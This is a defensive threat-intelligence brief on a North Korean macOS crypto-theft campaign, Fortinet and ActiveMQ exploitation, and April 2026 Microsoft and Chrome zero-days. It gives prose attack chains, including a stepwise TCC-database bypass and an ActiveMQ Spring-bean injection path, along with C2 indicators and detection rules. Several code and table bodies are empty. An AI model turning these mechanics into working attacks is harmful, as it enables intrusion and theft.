Last Updated On

Perimeters on Fire: DPRK Hits macOS Wallets, Fortinet Burns, and Microsoft Ships Its Heaviest Patch Tuesday of 2026
North Korean state actor Sapphire Sleet is running a live macOS campaign stealing cryptocurrency and credentials from finance and tech professionals. Simultaneously, CISA confirmed active exploitation of Apache ActiveMQ (CVE-2026-34197) and Fortinet management infrastructure, while Microsoft's April 2026 Patch Tuesday shipped 167 fixes including two actively exploited zero-days. Immediate action required across all five clusters.
9.8
CVSS Score
24
IOC Count
13
Source Count
84
Confidence Score
Chapter 01 - Executive Overview
Today's brief covers five concurrent threat clusters that together represent the most concentrated single-day risk event of April 2026. Three require immediate action before the weekend. Two require accelerated patching this week. One — Sapphire Sleet — has already stolen cryptocurrency from targets and offers no recovery path once assets are gone.
Cluster A — Sapphire Sleet macOS Campaign
Severity: Critical | Sectors: Crypto, VC, Finance, Tech | Attribution: High
A North Korean state actor — Sapphire Sleet — is actively running a macOS campaign targeting cryptocurrency holders, venture capital professionals, blockchain developers, and finance employees. The attack begins with a fake recruiter on LinkedIn, ends with a 575-line AppleScript exfiltrating nine categories of sensitive data including cryptocurrency wallet keys, Telegram sessions, browser credentials, SSH keys, and Apple Notes — and does so without exploiting a single software vulnerability.
The actor exploits human trust, not software flaws. A fabricated job interview requires the target to install a "Zoom SDK Update" — which is actually a malicious script file. Once opened, the attack is fully automated. macOS security controls (Gatekeeper, TCC, notarization) are bypassed because the script runs inside Apple's own Script Editor application. There is no prompt. There is no warning. The attack completes silently.
What makes this irreversible: Stolen cryptocurrency private keys and wallet seeds cannot be invalidated or recovered. Unlike a password breach, there is no "change credentials" option. Once wallet keys are exfiltrated, associated funds are at permanent risk.
What leadership must decide today: Any organization whose employees hold cryptocurrency, access DeFi platforms, manage client crypto assets, or work in blockchain/VC must immediately verify that macOS endpoint protection is deployed, current, and actively detecting. This is not a wait-and-patch situation. The campaign is live. Microsoft has published IOCs. Apple has deployed protections. Your endpoint must be updated to benefit.
Cluster B — Fortinet FortiCloud SSO & FortiClient EMS
Severity: Critical | Sectors: Enterprise, MSPs, Government | Attribution: Unattributed
Since January 2026, unknown attackers have exploited a critical authentication bypass in Fortinet's FortiCloud SSO service (CVE-2026-24858) to log into customer firewalls without valid credentials, create rogue administrator accounts, and modify network security configurations — even on devices running fully patched firmware at the time. Fortinet temporarily shut down FortiCloud SSO globally on January 26 to contain exploitation.
Separately, CISA's KEV catalog confirms that Fortinet FortiClient EMS — the platform many organizations use to manage endpoint security policies — carries a CVSS 9.1 SQL injection vulnerability (CVE-2026-21643) under active exploitation. The FCEB patch deadline was April 16, 2026 — yesterday.
What leadership must decide today: Any environment using FortiCloud SSO that has not upgraded to fixed firmware must disable FortiCloud SSO immediately and audit administrative accounts for unauthorized additions. Any environment running FortiClient EMS must confirm patching status and restrict external access to the management interface.
Cluster C — Apache ActiveMQ CVE-2026-34197
Severity: Critical | Sectors: Enterprise, Finance, Healthcare, Government | Attribution: Unattributed
CISA added CVE-2026-34197 to the Known Exploited Vulnerabilities catalog today (April 17, 2026). Apache ActiveMQ — a foundational enterprise messaging broker used in data pipelines, integration middleware, and ESB architectures — has a remote code execution vulnerability that attackers are actively exploiting. The flaw has existed in the codebase for over 13 years.
In many real-world deployments, the default admin:admin credential is never changed, making this vulnerability functionally unauthenticated. An attacker can send a crafted request to the Jolokia JMX management API and execute arbitrary operating system commands on the broker's host. From a compromised broker, attackers can access connected data pipelines, backend databases, and internal systems. FCEB patch deadline: April 30, 2026.
What leadership must decide today: Security teams must identify all ActiveMQ instances in the environment, block external access to Jolokia endpoints at the perimeter, audit for default credentials, and begin upgrade to 5.19.4 or 6.2.3 within 24 hours.
Cluster D — Microsoft April 2026 Patch Tuesday (167 Vulnerabilities)
Severity: Critical/High | Sectors: All enterprise | Attribution: Partial
Microsoft's largest Patch Tuesday of 2026 addresses 167 vulnerabilities. Four require immediate attention:
CVE-2026-32201 (SharePoint Server) — actively exploited zero-day. Spoofing via improper input validation. CISA KEV confirmed.
CVE-2026-33824 (Windows IKE, CVSS 9.8) — unauthenticated remote code execution. Potentially wormable across IPSec-enabled networks. No user interaction required.
CVE-2026-33825 (Microsoft Defender EoP) — actively exploited zero-day. Post-initial-access privilege escalation to SYSTEM.
CVE-2023-21529 (Exchange Server) — KEV-listed. Weaponized by Storm-1175 (China-nexus) to deliver Medusa ransomware. FCEB deadline: April 27, 2026.
What leadership must decide today: Approve emergency patching windows for SharePoint, Windows IKE, and Defender this weekend. CVE-2026-33824 is CVSS 9.8 and potentially wormable — in environments where patching is delayed, firewall rules blocking external IKEv2 must be applied immediately.
Cluster E — Google Chrome Skia & V8 Zero-Days
Severity: High | Sectors: All (universal browser surface) | Attribution: Unattributed
CISA has added CVE-2026-3909 (Chrome Skia — out-of-bounds write) and CVE-2026-3910 (Chrome V8 — memory corruption) to KEV following Google's confirmation of active in-the-wild exploitation. Both carry CVSS 8.8. Exploitation requires only that a user visits a malicious webpage. Combined with social engineering — a tactic Sapphire Sleet uses extensively — browser exploitation is a reliable initial access vector on any unpatched endpoint.
What leadership must decide today: Push Chrome/Chromium updates to all managed endpoints immediately. Enforce browser restart policies so the update takes effect.
Chapter 02 - Threat & Exposure Analysis
Cluster A — Sapphire Sleet macOS: Full Attack Chain
Actor Identity Sapphire Sleet is a North Korean state-sponsored group, tracked as UNC1069 by Google Mandiant/GTIG, Alluring Pisces by Unit 42/SentinelOne, and BlueNoroff by Kaspersky (supplemental only⚠). Microsoft Threat Intelligence (T1-03) is the primary attribution source for this campaign. The group has been active since at least March 2020 and is assessed as a DPRK revenue-generation operation — cryptocurrency theft funds regime activities. Google GTIG corroborates the same actor cluster via the March 31, 2026 npm supply chain incident (package live for ~3 hours before removal; observed timestamp: 2026-03-31T00:21Z).
Lure & Initial Access (T1566, T1204.002) The actor creates fake recruiter personas on LinkedIn and professional networking platforms. Targets — primarily cryptocurrency professionals, VC employees, blockchain developers, and tech sector workers — receive job offers. The "technical interview" requires installation of a Zoom SDK Update. The delivered file is a compiled AppleScript (.scpt) named Zoom SDK Update.scpt.
When a target opens this file in macOS Script Editor (a trusted, Apple-signed application), execution begins. Because it originates from a user-initiated, Apple-signed context, macOS Gatekeeper and notarization controls do not trigger. The quarantine attribute is present — but Script Editor's trusted status means the operating system proceeds.
Execution Chain: Five-Stage AppleScript Cascade (T1059.002) After thousands of blank lines and a decoy Zoom documentation comment block:
Stage 0 (Lure file): Calls
/usr/sbin/softwareupdatewith invalid parameters as a visual decoy — a real Apple binary running in the foreground to reassure the target. Simultaneously launches curl to fetch Stage 1 from C2.Stage 1 (mac-cur1): Fetched AppleScript piped directly to
osascriptviarun script result— no disk write. Deployscom.apple.cli(host monitor, C2 registration) andservicesbinary (primary backdoor + persistence installer).Stage 2 (mac-cur2): Deploys credential-harvesting component via mac-cur4 (systemupdate.app download).
Stage 3 (mac-cur3): Executes TCC bypass, full data collection, and 575-line exfiltration AppleScript.
Stage 4 (mac-cur4): Downloads and installs systemupdate.app ZIP.
Stage 5 (mac-cur5): Downloads decoy softwareupdate.app to present a completion dialog and close the social engineering loop.
Each stage uses a distinct curl user-agent for campaign tracking: mac-cur1, mac-cur2, mac-cur3, mac-cur4, mac-cur5, audio, beacon.
TCC Bypass — Defense Evasion (T1562.001) macOS's Transparency, Consent, and Control (TCC) framework protects sensitive resources. The actor's bypass abuses the fact that Finder holds Full Disk Access (FDA) by default:
Finder is used to rename the
com.apple.TCCdirectory (Finder's FDA permits this without a user prompt).The attacker copies
TCC.dbto a staging location.sqlite3modifies the copy: a new entry grants/usr/bin/osascriptAppleEvents permission tocom.apple.finder(auth_value=2, auth_reason=3 — no user consent dialog triggered).The modified database replaces the original. Staging files are deleted.
Result: osascript can now control Finder and access any protected resource without triggering user consent prompts.
Credential Harvesting (T1056.002) systemupdate.app presents a pixel-perfect fake macOS password dialog. The captured password is validated via dscl -authonly before exfiltration — only valid credentials are sent. Validated credentials are transmitted immediately to the Telegram Bot API (api.telegram.org/bot*) on port 443, blending into legitimate HTTPS traffic.
Data Exfiltration — Nine Categories (T1539, T1555.001, T1041) The 575-line AppleScript (mac-cur3) stages and uploads nine zip archives:
Archive Pattern | Contents |
|---|---|
| Telegram session data |
| Browser profiles, credentials, cookies (Chrome, Brave, Arc) |
| Ledger hardware wallet data |
| Exodus wallet |
| SSH keys, shell history |
| Apple Notes database |
Crypto extensions | Sui, Phantom, TronLink, Coinbase, OKX, Solflare, Rabby, Backpack, Bitwarden |
Keychain | macOS Keychain database |
System logs | Diagnostic logs |
All archives upload to C2 on port 8443 using a published upload authorization token (fwyan48umt1vimwqcqvhdd9u72a7qysi — published by Microsoft, do not use as an operational IOC; treat as campaign artifact for detection reference).
Persistence — LaunchDaemon (T1547.011) com.google.webkit.service.plist is installed under /Library/LaunchDaemons/ — system-level, survives reboots, runs before user login. It launches icloudz — the primary backdoor — disguised as a legitimate Google service.
Reflective Loading — In-Memory Mach-O (T1055) icloudz uses Apple's NSCreateObjectFileImageFromMemory API to load Mach-O payloads directly from C2 into memory. No file is written to disk. This defeats file-based detection and forensic artifact recovery.
Tertiary Backdoor (T1041) com.google.chromes.updaters — a third backdoor installed to ~/Library/Google/ — runs a 60-second beacon loop connecting to check02id[.]com on port 5202. It operates independently of the primary C2 cluster, providing infrastructure redundancy.
Cluster B — Fortinet: Management Plane Takeover
CVE-2026-24858 — FortiCloud SSO Authentication Bypass Fortinet's FortiCloud SSO service, used for administrative login to FortiOS, FortiManager, and FortiAnalyzer devices, contained an alternate authentication path (CWE-288) that failed to properly isolate tenant context. Attackers with any FortiCloud account and a registered device could authenticate to other customers' devices. The exploit created local administrator accounts directly on FortiGate firewalls — even on devices with prior SSO vulnerabilities (CVE-2025-59718/59719) already patched.
Shadowserver telemetry confirms externally exposed FortiCloud SSO instances dropped from over 26,000 in late December 2025 to fewer than 10,000 by late January 2026 — reflecting Fortinet's global SSO disable on January 26. Approximately 10,000 instances remain potentially exposed where patching is incomplete.
CVE-2026-21643 & CVE-2026-35616 — FortiClient EMS RCE FortiClient EMS — the centralized endpoint policy management platform — accepts crafted HTTP requests from unauthenticated attackers. CVE-2026-21643 is SQL injection (CVSS 9.1) enabling arbitrary command execution. CVE-2026-35616 is improper access control enabling unauthenticated code execution. Both are CISA KEV-listed. FCEB deadline for CVE-2026-21643: April 16, 2026 — already past.
Strategic Risk: A compromised FortiClient EMS server gives an attacker control over endpoint security policies across the entire managed fleet. Combined with FortiCloud SSO takeover of firewalls, a single threat actor can simultaneously disable endpoint protection and modify network security rules — a complete security architecture bypass.
Cluster C — Apache ActiveMQ CVE-2026-34197: Jolokia JMX-HTTP RCE
ActiveMQ's Jolokia JMX-HTTP bridge, exposed by default at /api/jolokia/ on the web console, provides a REST-to-JMX interface. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector() and BrokerService.addConnector().
An attacker supplies a crafted discovery URI to these methods. The URI's brokerConfig parameter directs the VM transport to load a remote Spring XML application context via ResourceXmlApplicationContext. Spring instantiates all declared singleton beans before ActiveMQ validation runs — creating an injection window during which bean factory methods (e.g., Runtime.exec()) execute arbitrary OS commands as the ActiveMQ service account.
Default Credential Amplification: The majority of production ActiveMQ deployments use default admin:admin credentials, making this functionally unauthenticated in real-world environments. On versions 6.0.0–6.1.1, a chained flaw (CVE-2024-32114) makes this explicitly unauthenticated.
Attack surface: Any enterprise running ActiveMQ with an externally accessible Jolokia endpoint — regardless of whether the console is "internal" — is directly exposed. ActiveMQ is embedded in many enterprise integration frameworks and may not appear in standard asset inventories.
Cluster D — Microsoft Patch Tuesday: Critical Subset
CVE-2026-33824 (Windows IKE, CVSS 9.8): Unauthenticated RCE via crafted IKEv2 packets. No user interaction required. Microsoft and ZDI describe the exploitation path as potentially wormable across IPSec-enabled networks — meaning a single compromised host could propagate exploitation to adjacent systems without any additional user action.
CVE-2026-32201 (SharePoint, CVSS 6.5): Improper input validation enables network-based spoofing. Microsoft confirms active exploitation ("Exploitation Detected"). Specific exploitation chain is not publicly disclosed; impact includes unauthorized information access and potential data modification in SharePoint-hosted content.
CVE-2026-33825 (Defender EoP, CVSS 7.8): Zero-day, actively exploited. Post-initial-access privilege escalation to SYSTEM. Remediated by Defender Antimalware Platform update v4.18.26050.3011, auto-distributed to environments with automatic updates enabled.
CVE-2023-21529 (Exchange Server RCE — KEV): Microsoft attributes weaponization of this flaw to Storm-1175 (China-nexus, financially motivated) for delivery of Medusa ransomware. FCEB deadline: April 27, 2026.
Cluster E — Chrome Skia/V8 (CVE-2026-3909, CVE-2026-3910)
CVE-2026-3909 (Skia, CVSS 8.8): Out-of-bounds write via crafted HTML rendering, enabling memory corruption and arbitrary code execution within the browser renderer process. CVE-2026-3910 (V8, CVSS 8.8): Memory corruption via malicious JavaScript/WebAssembly. Google confirmed active exploitation at patch release (March 12–13, 2026). Attack requires only that a user visits a malicious webpage — no download, no prompt, no extension required.
Cross-Cluster Pattern: Two Themes Dominating April 2026
Theme 1 — Management plane as kill chain entry: Fortinet EMS manages endpoint security. FortiCloud SSO controls firewall administration. ActiveMQ brokers enterprise data pipelines. All three are management-layer components. Compromising any one of them provides disproportionate lateral movement capability. Attackers in April 2026 are consistently targeting systems that control other security systems — a deliberate architectural targeting pattern.
Theme 2 — Social engineering replaces zero-days: Sapphire Sleet's macOS campaign deliberately avoids software exploitation. By staying within user-initiated, Apple-signed application contexts, the actor bypasses all technical security controls and makes the attack's success entirely dependent on human behavior. This is not a coincidence — zero-days carry operational cost and burn rate. Reliable social engineering is cheaper and more scalable. This trend will continue.
Chapter 03 - Operational Response
PRIORITY ORDER — TODAY
Priority | Cluster | Action | Deadline |
|---|---|---|---|
1 | Sapphire Sleet macOS | Hunt IOCs, verify macOS EDR, alert crypto/finance staff | Immediate |
2 | Fortinet FortiCloud SSO (CVE-2026-24858) | Disable SSO on unpatched devices, audit admin accounts | Immediate |
3 | Fortinet FortiClient EMS (CVE-2026-21643) | Block external access, patch — FCEB deadline was yesterday | Immediate |
4 | Apache ActiveMQ CVE-2026-34197 | Block Jolokia externally, change default creds, patch | Within 24h |
5 | SharePoint CVE-2026-32201 | Apply April 2026 patches, restrict admin interfaces | Within 24h |
6 | Windows IKE CVE-2026-33824 | Patch or apply firewall mitigation immediately | Within 24h |
7 | Defender EoP CVE-2026-33825 | Confirm Defender auto-update; apply platform update | Within 24h |
8 | Chrome CVE-2026-3909/3910 | Push browser update across managed fleet | Within 24h |
9 | Exchange CVE-2023-21529 | Patch — FCEB deadline April 27, 2026 | This week |
Cluster A — Sapphire Sleet macOS Response
DO NOW:
Verify Microsoft Defender for Endpoint on Mac (or equivalent EDR) is deployed, active, and updated on all macOS endpoints in crypto, finance, VC, and technology environments. Apple has deployed XProtect signatures — macOS must be current to receive them.
Run the following threat hunt queries against last 30 days of macOS endpoint telemetry (see Chapter 4 for full KQL/SIGMA):
curl user-agents:
mac-cur1throughmac-cur5,audio,beaconFile paths:
~/.zoom.log,~/Library/Application Support/iCloud/icloudz,~/Library/Google/com.google.chromes.updaters,/Library/LaunchDaemons/com.google.webkit.service.plistNetwork connections to:
*.webzoom[.]us,check02id[.]com,83.136.208.0/22,188.227.196.252
Alert employees in crypto, finance, developer, and VC roles: Warn explicitly about fake recruiter approaches delivering Zoom "SDK updates." Provide the exact lure pattern (
.scptfiles opened in Script Editor).
WITHIN 24 HOURS:
Query email and collaboration logs for outbound connections to
api.telegram.org/bot*from macOS endpoints.Block
*.webzoom.usandcheck02id.comat DNS and perimeter firewall.Block outbound port 5202 from workstations at the firewall level.
Apply MDM policy restricting execution of
.scptfiles downloaded from the internet (quarantine attribute present).
IF INCIDENT CONFIRMED:
Preserve
~/Library/directory, LaunchDaemon plists, and any.scptfiles before any remediation — do not wipe before imaging.Escalate immediately: assume cryptocurrency assets and all stored credentials on the affected device are compromised.
Notify affected user's financial accounts, crypto exchange accounts, and Telegram contacts.
Cluster B — Fortinet Response
DO NOW:
Identify all Fortinet FortiOS, FortiManager, FortiAnalyzer devices with FortiCloud SSO enabled. For any not running fixed firmware (FortiOS 7.4.11 or vendor-specified patched branch): disable FortiCloud SSO immediately.
Identify all FortiClient EMS instances. Block external network access to EMS management interfaces if not already restricted to VPN/management network only.
Audit all Fortinet administrative accounts created since January 20, 2026. Any account not recognized should be treated as attacker-created.
WITHIN 24 HOURS:
Apply Fortinet patches for CVE-2026-24858, CVE-2026-21643, and CVE-2026-35616 across all affected deployments.
Enable and centralize Fortinet admin event logging (auth, config change, SSO session logs) if not already forwarded to SIEM.
Review configuration changes made via SSO sessions since January 2026 — specifically firewall rules, routing tables, and administrative policies.
IF INCIDENT CONFIRMED:
Preserve Fortinet event and config logs before any changes.
Treat any modified firewall ruleset as potentially attacker-controlled.
Notify SOC, IR, and customer-facing teams if managed service environments are affected. MSPs: notify impacted customers immediately.
Cluster C — Apache ActiveMQ Response
DO NOW:
Enumerate all Apache ActiveMQ instances in the environment — including those embedded in middleware, ESB, and integration frameworks that may not appear in standard CMDB entries.
Identify any Jolokia endpoints (
/api/jolokia/) accessible from external networks or untrusted internal segments. Block immediately at WAF and perimeter firewall.Audit all ActiveMQ instances for default credentials (
admin:admin). Change all instances of default credentials immediately.
WITHIN 24 HOURS:
Upgrade to Apache ActiveMQ 5.19.4 or 6.2.3.
For versions 6.0.0–6.1.1: treat as P0 (unauthenticated exploitation via CVE-2024-32114 chain) — isolate from network if patching is delayed.
Disable Jolokia entirely where not operationally required. If required, restrict via
jolokia-access.xmlto trusted management IPs only.Enable ActiveMQ audit logging to capture JMX/Jolokia API calls.
IF EXPLOITATION SUSPECTED:
Preserve ActiveMQ logs (
/data/activemq.log) before changes.Check for unexpected Java child process creation (e.g.,
sh,bash,cmd,powershell) spawned by the ActiveMQ service account.Isolate the broker from connected data pipeline systems pending forensic review.
Cluster D — Microsoft Patch Tuesday Response
DO NOW:
Patch CVE-2026-32201 (SharePoint) — actively exploited zero-day. Prioritize internet-facing SharePoint instances.
Confirm Defender Antimalware Platform version is at minimum 4.18.26050.3011 to address CVE-2026-33825 (actively exploited EoP zero-day).
Apply emergency firewall mitigations for CVE-2026-33824 (Windows IKE, CVSS 9.8) on all VPN gateways and IPSec-enabled systems where patching cannot be completed today — block IKEv2 from untrusted external sources.
WITHIN 24 HOURS:
Patch CVE-2026-33824 and CVE-2026-33827 across all Windows Server and VPN gateway infrastructure.
Patch CVE-2026-33826 (Active Directory RCE) — lower immediate risk (requires adjacent network access) but High priority given AD's centrality.
Patch CVE-2023-21529 (Exchange Server) — KEV-listed, ransomware delivery confirmed, FCEB deadline April 27.
Cluster E — Chrome Response
DO NOW:
Push Chrome/Chromium update to all managed endpoints via MDM/policy.
Enforce browser restart policies — the update has no effect until applied.
Prioritize privileged user workstations (admins, finance, HR, executive assistants) — these are highest-value targets for browser-based initial access.
Chapter 04 - Detection Intelligence
CVE-2026-34197 — Apache ActiveMQ Jolokia JMX-HTTP RCE
Root cause: CWE-20 (Improper Input Validation) + CWE-94 (Code Injection) Affected: activemq-broker / activemq-all < 5.19.4; versions 6.0.0–6.2.3 (excl. 6.2.3) Fixed in: 5.19.4 and 6.2.3 CVSS v3.1: 8.8 — Network / Low Complexity / No User Interaction / Authentication: Low CISA KEV: Listed 2026-04-17 | FCEB deadline: 2026-04-30
The Jolokia JMX-HTTP bridge at /api/jolokia/ exposes exec operations on all ActiveMQ MBeans by default, including BrokerService.addNetworkConnector() and BrokerService.addConnector(). An attacker supplies a crafted discovery URI containing a brokerConfig parameter that directs the VM transport to load a remote Spring XML application context via ResourceXmlApplicationContext. Spring instantiates all declared singleton beans before ActiveMQ validation runs — creating a code injection window.
Proof-of-concept request structure (Horizon3.ai, contextual):
Malicious Spring bean (attacker-hosted rce.xml):
Unauthenticated chained path (versions 6.0.0–6.1.1): CVE-2024-32114 in these versions exposes the Jolokia API without authentication, making CVE-2026-34197 effectively unauthenticated RCE. Treat any deployment in versions 6.0.0–6.1.1 as P0 — isolate from network if same-day patching is not possible.
Default credential amplification: admin:admin is the default ActiveMQ credential and is widely unchanged in production — practically reducing authentication requirement to zero in a large proportion of real-world deployments.
CVE-2026-24858 — Fortinet FortiCloud SSO: Tenant Isolation Failure
Root cause: CWE-288 — Authentication Bypass Using an Alternate Path Affected: FortiOS (all versions with FortiCloud SSO enabled prior to 7.4.11) Fixed in: FortiOS 7.4.11 and branch-specific patched versions per Fortinet PSIRT
Attack flow:
Attacker registers a FortiCloud account (free, publicly available)
Attacker registers any Fortinet device (including lab unit) to the account
Attacker uses the SSO authentication path — tenant isolation logic fails to scope the auth context to the attacker's registered devices only
Attacker authenticates to victim's FortiGate / FortiManager / FortiAnalyzer
Attacker creates local admin accounts and modifies network security configurations — firewall rules, routing tables, VPN policies
Post-exploitation observed (Fortinet PSIRT):
Unauthorized local admin accounts created (survive firmware updates)
Configuration export (policies, routes, VPN settings)
Potential long-term persistence via rogue accounts
CVE-2026-21643 / CVE-2026-35616 — FortiClient EMS RCE
CVE-2026-21643 (CVSS 9.1): SQL injection in FortiClient EMS web interface. Unauthenticated attacker sends crafted HTTP request — SQL injection grants code/command execution as the EMS service account.
CVE-2026-35616: Improper access control flaw in FortiClient EMS. Bypasses authentication requirement for protected management functions, enabling unauthenticated code execution.
Strategic risk: FortiClient EMS manages endpoint security policies across the entire managed device fleet. A compromised EMS server gives an attacker the ability to modify security policies, whitelist processes, disable protection modules, and extract configuration for all managed endpoints — a security architecture bypass from a single initial access point.
Sapphire Sleet macOS — Payload Chain (Source: Microsoft T1-03)
Lure delivery: Compiled AppleScript .scpt file named Zoom SDK Update.scpt. Opened in macOS Script Editor (Apple-signed, trusted — Gatekeeper does not block execution). Thousands of blank lines and a fake Zoom documentation comment block precede the malicious logic.
Execution cascade:
TCC Bypass mechanism (mac-cur3):
Exfiltration — Nine data categories staged as ZIP archives (port 8443):
Archive Pattern | Contents |
|---|---|
| Telegram session data |
| Browser profiles, cookies, credentials (Chrome, Brave, Arc) |
| Ledger hardware wallet data |
| Exodus wallet |
| SSH keys + shell history |
| Apple Notes database |
Keychain | macOS Keychain database |
Crypto extensions | Sui, Phantom, TronLink, Coinbase, OKX, Solflare, Rabby, Backpack, Bitwarden |
System logs | Diagnostic and system logs |
Stolen password exfiltrated separately via Telegram Bot API on port 443.
Persistence — LaunchDaemon: /Library/LaunchDaemons/com.google.webkit.service.plist Launches icloudz backdoor at system boot — before user login, elevated privileges, survives reboots.
Reflective loading — icloudz: Uses NSCreateObjectFileImageFromMemory API to load Mach-O payloads from C2 into memory. No file written to disk. Defeats file-based detection and forensic artifact recovery.
CVE-2026-33824 — Windows IKE RCE (CVSS 9.8)
Attack vector: Network, unauthenticated, no user interaction required Mechanism: Crafted IKEv2 packets exploit a vulnerability in Windows IKE service extensions. Microsoft and ZDI describe potential wormability — a compromised host can propagate exploitation to adjacent IPSec-enabled Windows hosts automatically. Firewall mitigation (pre-patch): Block inbound UDP 500 and UDP 4500 from untrusted external sources. Does not protect against internal spread in already-compromised environments.
CVE-2026-32201 — SharePoint Server Spoofing (Zero-Day, Actively Exploited)
Root cause: Improper input validation in SharePoint Server CVSS: 6.5 | Network / No user interaction / Unauthorized attacker Impact: Network-based spoofing enabling unauthorized viewing or modification of sensitive SharePoint-hosted content. Microsoft confirms "Exploitation Detected" but has not publicly disclosed the exploitation chain.
CVE-2026-3909 / CVE-2026-3910 — Chrome Skia / V8 (CVSS 8.8)
CVE-2026-3909 (Skia): Out-of-bounds write triggered via crafted HTML rendering. Leads to memory corruption and arbitrary code execution within the renderer process.
CVE-2026-3910 (V8): Memory corruption in JavaScript/WebAssembly engine. Arbitrary code execution within browser sandbox. Both require only that a user visits a malicious webpage — no download, no install, no extension required. Google confirmed active exploitation at patch release.
Sapphire Sleet — Full IOC Table
Source: Microsoft Threat Intelligence (T1-03) — Verdict: Malicious (High Confidence)
Domains — C2 Infrastructure
Pattern note: *.webzoom[.]us deliberately impersonates Zoom infrastructure naming. check02id[.]com is a separate registrar/naming cluster — possible infrastructure compartmentalization between primary and tertiary backdoors.
IP Addresses — C2 Infrastructure
Network note: 83.136.208.0/22 hosts multiple C2 IPs — consider /22 range block at perimeter pending further investigation.
File Hashes — SHA-256
Filesystem Artifacts — Infection Markers
Campaign Artifacts (Published by Microsoft — Reference Only)
Fortinet / Microsoft / Chrome — IOC Status
Fortinet CVE-2026-24858 / CVE-2026-21643 / CVE-2026-35616: [INSUFFICIENT SOURCE DATA] — No IP addresses, domains, file hashes, or actor-linked infrastructure published in available sources. Exploitation confirmed via CISA KEV and Fortinet PSIRT; actor IOCs not publicly released.
Apache ActiveMQ CVE-2026-34197: [INSUFFICIENT SOURCE DATA] — CISA KEV confirms in-the-wild exploitation; no actor-attributed C2 infrastructure or file IOCs published at time of this report.
Chrome CVE-2026-3909 / CVE-2026-3910: [INSUFFICIENT SOURCE DATA] — Google and CISA confirm active exploitation; no campaign-specific IOCs published.
Sapphire Sleet macOS — Detection Engineering
Immediate priority: Deploy all rules below within 24 hours on macOS endpoints.
SIGMA Pseudocode — Rule 1: Suspicious osascript Spawning curl
SIGMA Pseudocode — Rule 2: Sapphire Sleet Campaign User-Agents
SIGMA Pseudocode — Rule 3: Unsigned LaunchDaemon with Vendor-Impersonating Name
SIGMA Pseudocode — Rule 4: TCC Database Modification
SIGMA Pseudocode — Rule 5: dscl -authonly Credential Validation
YARA Pattern — Sapphire Sleet Campaign Artifact Detection
SIEM Field Logic — Network Monitoring
Apache ActiveMQ CVE-2026-34197 — Detection Engineering
SIGMA Pseudocode — Rule 6: Jolokia Exploitation Attempt
SIEM Field Logic — ActiveMQ Network Monitoring
YARA Pattern — ActiveMQ Jolokia Exploitation Log Scan
Fortinet FortiCloud SSO — Detection Engineering
SIEM Pseudocode — Rule 7: Anomalous SSO Admin Account Creation
Threat hunting hypothesis — retroactive (January–April 2026): Query Fortinet admin event logs from 2026-01-15 onward for:
Admin accounts created via FortiCloud SSO sessions
Configuration changes (firewall rules, routing, VPN) made within 60 minutes of an SSO login from a previously unseen source IP
Any admin account created that does not correspond to a known team member in your IAM system
Windows IKE / TCP/IP — Detection Engineering
SIEM Pseudocode — Rule 8: IKE Traffic Anomaly
Chrome CVE-2026-3909 / CVE-2026-3910 — Detection Engineering
EDR Pseudocode — Rule 9: Suspicious Chrome Child Process
ID | Technique | Sub-Technique | Cluster | Source Basis |
|---|---|---|---|---|
T1566 | Phishing | Via Service (LinkedIn) | Sapphire Sleet | Microsoft T1-03 (source-confirmed) |
T1204.002 | User Execution | Malicious File (.scpt) | Sapphire Sleet | Microsoft T1-03 (source-confirmed) |
T1059.002 | Command & Scripting | AppleScript | Sapphire Sleet | Microsoft T1-03 (source-confirmed) |
T1562.001 | Impair Defenses | TCC Database Modification | Sapphire Sleet | Microsoft T1-03 (source-confirmed) |
T1055 | Process Injection | Reflective Mach-O Loading | Sapphire Sleet | Microsoft T1-03 (source-confirmed) |
T1056.002 | Input Capture | GUI Input Capture | Sapphire Sleet | Microsoft T1-03 (source-confirmed) |
T1555.001 | Credential Stores | Keychain | Sapphire Sleet | Microsoft T1-03 (source-confirmed) |
T1539 | Steal Web Session Cookie | — | Sapphire Sleet | Microsoft T1-03 (source-confirmed) |
T1547.011 | Autostart Execution | Plist Modification | Sapphire Sleet | Microsoft T1-03 (source-confirmed) |
T1041 | Exfiltration Over C2 | — | Sapphire Sleet | Microsoft T1-03 (source-confirmed) |
T1190 | Exploit Public-Facing App | — | ActiveMQ CVE-2026-34197 | CISA KEV + THN (behavior-inferred; stated basis: Jolokia API exploitation) |
T1078 | Valid Accounts | — | Fortinet CVE-2026-24858 | Fortinet PSIRT / The Record (behavior-inferred; stated basis: rogue admin account creation via SSO) |
T1059.003 | Command & Scripting | Windows Command Shell | Fortinet EMS CVE-2026-21643 | CISA KEV (behavior-inferred from SQL injection → command execution) |
MITRE D3FEND — Recommended Countermeasures:
D3FEND ID | Countermeasure | Applies To |
|---|---|---|
D3-EAL | Executable Allowlisting | Block unsigned/internet-sourced Mach-O + .scpt on macOS |
D3-NTF | Network Traffic Filtering | Block *.webzoom.us, check02id.com, known C2 IP ranges |
D3-UAP | User Account Permissions | Restrict Jolokia API; enforce non-default ActiveMQ credentials |
D3-SYSM | System Call Analysis | Alert on NSCreateObjectFileImageFromMemory from non-Apple processes |
D3-CE | Credential Hardening | Replace admin:admin on all ActiveMQ deployments; audit Fortinet admin accounts |
D3-ORA | Operating System API | Monitor sqlite3 access to TCC.db from non-system processes |
Chapter 05 - Governance, Risk & Compliance
Regulatory Exposure by Cluster
Fortinet FortiCloud SSO / EMS (CVE-2026-24858, CVE-2026-21643, CVE-2026-35616)
GDPR / EU NIS2: If a FortiCloud SSO compromise resulted in unauthorized access to systems processing EU personal data, organizations face potential breach-notification obligations under Article 33 GDPR (72-hour notification window from awareness) and NIS2 incident reporting requirements. MSPs and MSSPs face heightened NIS2 exposure given supply chain obligations.
India DPDP Act: Organizations processing personal data of Indian residents on networks protected by compromised Fortinet infrastructure must assess whether data confidentiality was affected — notification obligations apply.
US FCEB / BOD 22-01: CVE-2026-21643 FCEB deadline passed April 16, 2026. Non-compliant federal agencies and contractors are in documented breach of BOD 22-01. Document remediation status and escalate to CISO and counsel.
HIPAA / PCI-DSS: Compromise of firewall management platforms protecting ePHI or cardholder data environments triggers breach investigation obligations and potential mandatory reporting to HHS or card brands.
Microsoft Patch Tuesday (CVE-2026-32201, CVE-2026-33824, CVE-2023-21529)
SOX / SEC Cyber Disclosure Rule: US-listed companies that experience material impacts from these exploited vulnerabilities may need to evaluate disclosure obligations under SEC's cybersecurity incident reporting rule. The Exchange/Medusa ransomware link (Storm-1175) is particularly relevant given ransomware's materiality precedents.
